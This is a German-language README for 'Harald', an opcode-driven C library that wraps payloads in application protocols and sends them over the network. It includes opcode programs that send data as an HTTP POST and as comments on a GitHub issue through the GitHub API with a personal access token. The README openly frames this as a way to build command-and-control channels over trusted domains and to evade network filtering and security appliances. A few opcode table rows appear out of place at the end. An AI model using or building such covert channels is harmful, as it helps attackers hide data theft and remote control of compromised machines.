
Ein minimaler In-Memory-CPU für die agnostische Erstellung von Protokollen on-the-fly
Harald ist eine winzige In-Memory-High-Level-CPU, die eine Reihe von Anweisungen verarbeiten kann, um Application-Layer-Protokolle zu erzeugen, die über ein gegebenes Netzwerkprotokoll (TCP/UDP) verwendet werden können.
Harald konsumiert einen Strom von OPCODES und wendet verschiedene Transformationen auf die Nutzlast an, damit sie für das definierte Application-Layer-Protokoll geeignet ist.
[!TIP] Warum Harald? Vielleicht kennst du Harald Gormsson, König von Dänemark, unter seinem Spitznamen: Blátǫnn, oder wie wir ihn heute aussprechen, Bluetooth. Die Technologie wurde nach Haralds Spitznamen benannt, weil er damals die dänischen und Wikinger-Königreiche verband. Also benenne ich dies nach seinem Vornamen.
Harald verhält sich wie eine CPU. Er folgt einer Reihe von OPCODES, die Aktionen definieren. Ein PROTOKOLL. Harald wird die erforderlichen Operationen ausführen, um das benötigte Protokoll on the fly zu erzeugen.
Sobald das PROTOKOLL bereitgestellt ist, wird Harald über die zu sendende PAYLOAD iterieren, indem er das gesamte PROTOKOLL einmal für jedes Fragment durchläuft. D.h.: Wenn die Nutzlast in mehrere Fragmente aufgeteilt werden musste, verwendet Harald dasselbe Protokoll für jedes Fragment und führt jede im Protokoll definierte Aktion gegen das aktuelle Nutzlastfragment aus.
Harald hält eine Reihe von Registern, die vom Protokoll zum Speichern von Werten verwendet werden. Diese Register können verwendet werden, um verschiedene Operationen durchzuführen, wie Addition, Subtraktion, Kodierung und Dekodierung ... usw.
Harald weist dynamisch ein Array von Ergebnissen zu, in dem das Protokoll die Antworten auf jede Anfrage speichern kann, die beim Senden eines Nutzlastfragments ausgeführt wird.

Harald unterstützt eine Vielzahl von Opcodes, die als Protokoll bereitgestellt werden können. Harald führt eine Reihe von High-Level-Operationen aus, wenn er einen gegebenen Opcode empfängt. Jeder Opcode erwartet eine vordefinierte Menge von Argumenten mit einer vordefinierten Länge.
| OPCODE::Nº | Description | ARGS::Size |
|---|---|---|
| H_F_APPEND::0x01 | Appends the following N Bytes to the end payload | Size::4, NBytes::N |
| H_F_PREPEND::0x02 | Prepends the following N Bytes to the end payload | Size::4, NBytes::N |
| H_F_SPLIT::0x03 | Splits the Payload in fragments of the given size | Size::4 |
| H_F_PAYLOAD_INJECT::0x04 | Injects the Payload fragment into the End Payload | - |
| H_F_SOCK_INIT::0x05 | Initializes the socket connection | IsIPAddress:1, SSL_Enabled::1, TCP/UDP::1, [(HostLen::4,HostName:N)/IPAddress::4], Port::2 |
| H_F_SEND::0x06 | Sends the constructed End Payload | - |
| H_F_RECV::0x07 | Receives up to N Bytes | Size::4 |
| H_F_CLOSE::0x08 | Closes the socket and cleans | - |
| H_F_INJECT::0x09 | Injects the requested registry into the End Payload | Reg::1 |
| H_F_ENCODE_STR::0x0A | Encodes a Payload field to its string representation | IsReg::1, [(Payload::1, Field::1)/Reg::1], Format::1 |
| H_F_DECODE_STR::0xA0 | Decodes the contents of a registry to its numeric representation | Reg::1 |
| H_F_ENCODE_STRB64::0x0B | Encodes a Payload field to its B64string representation | Payload::1, Field::1 |
| H_F_COMPUTE_FRAG_LENGTH::0x0D | Calculates the next fragment to be sent length | - |
| H_F_SEARCH::0x0E | Searches for a given byte pattern of a given N size in a given registry | Reg::1, Size::4, NBytes::N |
| H_F_SEEK::0x0F | Moves the cursor in a given payload by a given number of bytes | Payload::1, Offset::4 |
| H_F_PUSH::0x10 | Pushes a number of bytes or the contents of a registry into another registry | IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
| H_F_ADD::0x12 | Adds two registries or a number to a registry | IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
Der folgende Opcode-Stream erzeugt die erforderlichen Daten, die gesendet werden müssen, damit eine Kommunikation als HTTP verstanden wird. Er wird initiieren, die Nutzlast so verändern, dass sie wie HTTP-Verkehr aussieht, sie über eine SSL/TLS-Verbindung senden und die Verbindung am Ende schließen.
H_F_SPLIT, 0x00, 0x00, 0x00, 0xFF, // Splits the Payload
H_F_APPEND, 0x00, 0x00, 0x00, 0x46, // Appends...
'P', 'O', 'S', 'T', ' ', '/', ' ', // POST /
'H', 'T', 'T', 'P', '/', '1', '.', '1', '\r', '\n', // HTTP/1.1
'H', 'o', 's', 't', ':', ' ', // Host:
'd', 'o', 'm', 'a', 'i', 'n', '.', 'c', 'o', 'm', '\r', '\n', // domain.com
'C', 'o', 'n', 'n', 'e', 'c', 't', 'i', 'o', 'n', ':', ' ', // Connection:
'c', 'l', 'o', 's', 'e', '\r', '\n', // close
'C', 'o', 'n', 't', 'e', 'n', 't', '-', // Content-
'L', 'e', 'n', 'g', 't', 'h', ':', ' ', // Length:
H_F_COMPUTE_FRAG_LENGTH, // Next Fragment's size
H_F_ENCODE_STR, H_PAY_END_PAYLOAD, H_PAY_FRAGMENT_SIZE, 'u', // FragSize encode
H_F_INJECT, H_REG_RET, // Inject the Fragment Size encoded str
H_F_APPEND, 0x00, 0x00, 0x00, 0x04, '\r', '\n', '\r', '\n', // Append Body begin
H_F_PAYLOAD_INJECT, // Inject the Payload
H_F_SOCK_INIT, 0x01, 0x01, 0x7F, 0x00, 0x00, 0x01, 0x04, 0xD2, // Init Socket
H_F_SEND, // Send the Payload over the socket
H_F_CLOSE // Close the socket and cleanup
Das folgende Beispiel folgt denselben Verfahren wie das vorherige. Anstatt jedoch nur die Nutzlast als Body zu senden, wird das Protokoll Harald anweisen, einige Header zu setzen und den Body so zu strukturieren, dass er mit der GitHub-API kommunizieren kann, um Kommentare in einem Issue eines privaten Repositorys zu veröffentlichen.
Diese Art der Kommunikation kann einem Angreifer helfen, einen Kommunikationskanal mit dem C2-Server unter Verwendung einer vertrauenswürdigen Domain wie *.github.com zu erstellen. Genau dasselbe Beispiel könnte auf die Verwendung von AWS-Ressourcen (wie SQS-Warteschlangen unter sqs..amazonaws.com), Azure-Ressourcen (wie Blobs unter <storage_account_name>.blob.core.windows.net) und so weiter extrapoliert werden.
Dieses Beispiel ist eine gute Referenz für jene Kommunikationen, die ein STRUCTURED_FORMAT (JSON) + APPLICATION-LAYER_PROTOL (HTTPS) + PROTOCOL (TCP) erfordern.
H_F_SPLIT, 0x00, 0x00, 0x00, 0xFF,
H_F_APPEND, 0x00, 0x00, 0x01, 0x85, 'P','O','S','T',' ',
'/','r','e','p','o','s','/','YOUR_GH_USER','/','YOUR_GH_REPO',
'/','i','s','s','u','e','s','/','ISSUE_NUMBER',
'/','c','o','m','m','e','n','t','s',' ',
'H','T','T','P','/','1','.','1','\r','\n', 'H','o','s','t',':','
','a','p','i','.','g','i','t','h','u','b','.','c','o','m','\r','\n',
'A','u','t','h','o','r','i','z','a','t','i','o','n',':',' '
,'B','e','a','r','e','r',' ','g','i','t','h','u','b','_','p','a','t','_',
'YOUR_GH_PAT','\r','\n',
'X','-','G','i','t','H','u','b','-',
'A','p','i','-','V','e','r','s','i','o','n',':','
', '2','0','2','2','-','1','1','-','2','8','\r','\n',
'U','s','e','r','-','A','g','e','n','t',':','
','H','a','r','a','l','d','/','0','.','1','b','\r','\n',
'A','c','c','e','p','t',':','
','a','p','p','l','i','c','a','t','i','o','n','/',
'v','n','d','.','g','i','t','h','u','b','+','j','s','o','n','\r','\n',
'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',
'a','p','p','l','i','c','a','t','i','o','n','/',
'x','-','w','w','w','-','f','o','r','m','-',
'u','r','l','e','n','c','o','d','e','d','\r','\n',
'C','o','n','n','e','c','t','i','o','n',':','
','c','l','o','s','e','\r','\n',
'C','o','n','t','e','n','t','-','L','e','n','g','t','h',':',' ',
H_F_COMPUTE_FRAG_LENGTH,
H_F_ADD, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0B, H_REG_RET,
H_F_ENCODE_STR, 0x01, H_REG_RET, 'u',
H_F_INJECT, H_REG_RET,
H_F_APPEND, 0x00, 0x00, 0x00, 0x0D, '\r', '\n', '\r', '\n', '{', '"', 'b',
'o', 'd', 'y', '"', ':', '"',
H_F_PAYLOAD_INJECT,
H_F_APPEND, 0x00, 0x00, 0x00, 0x02, '"', '}',
H_F_SOCK_INIT, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x0F,
'a', 'p', 'i', '.',
'g', 'i', 't', 'h', 'u', 'b', '.', 'c', 'o', 'm', '\0', 0x01, 0xBB,
H_F_SEND,
H_F_CLOSE
Du benötigst einen Compiler, um es zu bauen. Wie GCC, Clang oder Microsofts CL. Außerdem gibt es einige Bibliotheksabhängigkeiten:
Installiere LibSSL und pkg-config:
sudo apt install libssl-dev pkg-config
Installiere OpenSSL über brew oder baue und konfiguriere es selbst.
brew install openssl
Hole OpenSSL von einem der verlinkten Distributoren oder baue und konfiguriere es selbst.
Das Repository enthält ein Makefile, um die Bibliothek und einige Test-Binärdateien zu bauen.
Um die Harald-Bibliothek zu bauen, führe aus:
make lib
Dies erstellt eine Shared Library libharald.so, libharald.dll oder
libharald.dylib, abhängig von deiner Plattform.
Um die Test-Binärdateien zu bauen, führe aus:
make test
Dies erstellt zwei Binärdateien: test_harald und test_harald_gh (mit ihren
jeweiligen Erweiterungen, basierend auf deiner Plattform).
Um Haralds Funktionalitäten zu testen, führe die bereitgestellten Server socket_server_test.py und https_server_test.py aus. Diese erstellen jeweils einen Socket- und HTTPS-Server, die von den Test-Binärdateien verwendet werden.
Hinweis: Möglicherweise musst du deinen
LD_LIBRARY_PATHauf den aktuellen Ordner setzen:LD_LIBRARY_PATH=$LD_LIBRARY_PATH:. ./test_harald
Du wirst ein SSL/TLS-Zertifikat für die HTTPS-Kommunikation erstellen müssen (selbstsigniert ist in Ordnung). Du kannst eines mit OpenSSL mit dem folgenden Befehl erstellen:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
Sobald die Server laufen, führe die test_harald-Binärdatei aus:
./test_harald
Die Binärdatei sollte sich mit den bereitgestellten Servern verbinden und die vordefinierten Daten-Nutzlasten senden, wie im Protokoll angegeben.
Um die GitHub-API-Funktionalitäten zu testen, sollten einige Vorbereitungen
vor der Ausführung der test_harald_gh-Binärdatei getroffen werden.
Erstelle ein Repository und ein Issue.
Die Datei test_harald_gh.c enthält ein einfaches Beispiel dafür, wie
Harald verwendet wird, um mit der GitHub-API zu interagieren und Kommentare in Issues zu erstellen. Es
erfordert, dass du ein Zugriffstoken für GitHub hast, das du in deinen
GitHub-Kontoeinstellungen unter Developer settings -> Personal access tokens ->
Fine-grained tokens erhalten kannst. Es wird empfohlen, das Token fein abzustufen, um nur
Zugriff auf das neu erstellte Repository und auf die Berechtigungen Read access to metadata und
Read and Write access to issues and pull requests zu erhalten.
Um ordnungsgemäß ausgeführt zu werden, musst du die Platzhalterwerte für Folgendes ändern:
YOUR_GH_USER: Dein GitHub-Benutzername.ISSUE_NUMBER: Die Issue-Nummer im Repository, mit dem du interagieren möchtest
(z.B. "1" für das erste Issue in einem Repo).YOUR_GH_REPO: Der Name des Repositorys, mit dem du interagieren möchtest
(z.B. "harald").YOUR_GH_PAT: Dein GitHub-Zugriffstoken.Sobald dies erledigt ist, stelle sicher, dass du die Größe der gesendeten Nutzlast an deine Bedürfnisse anpasst!
In test_harald_gh.c#L9 steht der 4. Parameter des
H_F_APPEND-Opcodes für die Größe der Nutzlast. Du musst diesen Wert entsprechend aktualisieren, wenn du die Nutzlaststruktur änderst.
Baue die Test-Binärdateien und führe diese aus:
./test_harald_gh
Dies erstellt einen Kommentar im bereitgestellten Issue.
Der in diesem Repository enthaltene Quellcode kann verwendet werden, um Netzwerk- filterung zu umgehen und das Risiko der Erkennung durch Sicherheitsappliances zu verringern. Bevor du diesen Quellcode verwendest, stelle bitte sicher, dass deine Nutzung mit allen geltenden Gesetzen in deiner Gerichtsbarkeit konform ist.
| H_F_SUBSTRACT::0x13 |
| Substracts two registries or a number to a registry |
| IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
| H_F_READ::0x14 | Reads from a given registry up to the length stored in another registry | FromReg::1, SizeReg::1 |
| H_F_STORE::0x15 | Stores a registry value into Harald's Storage | Reg::1 |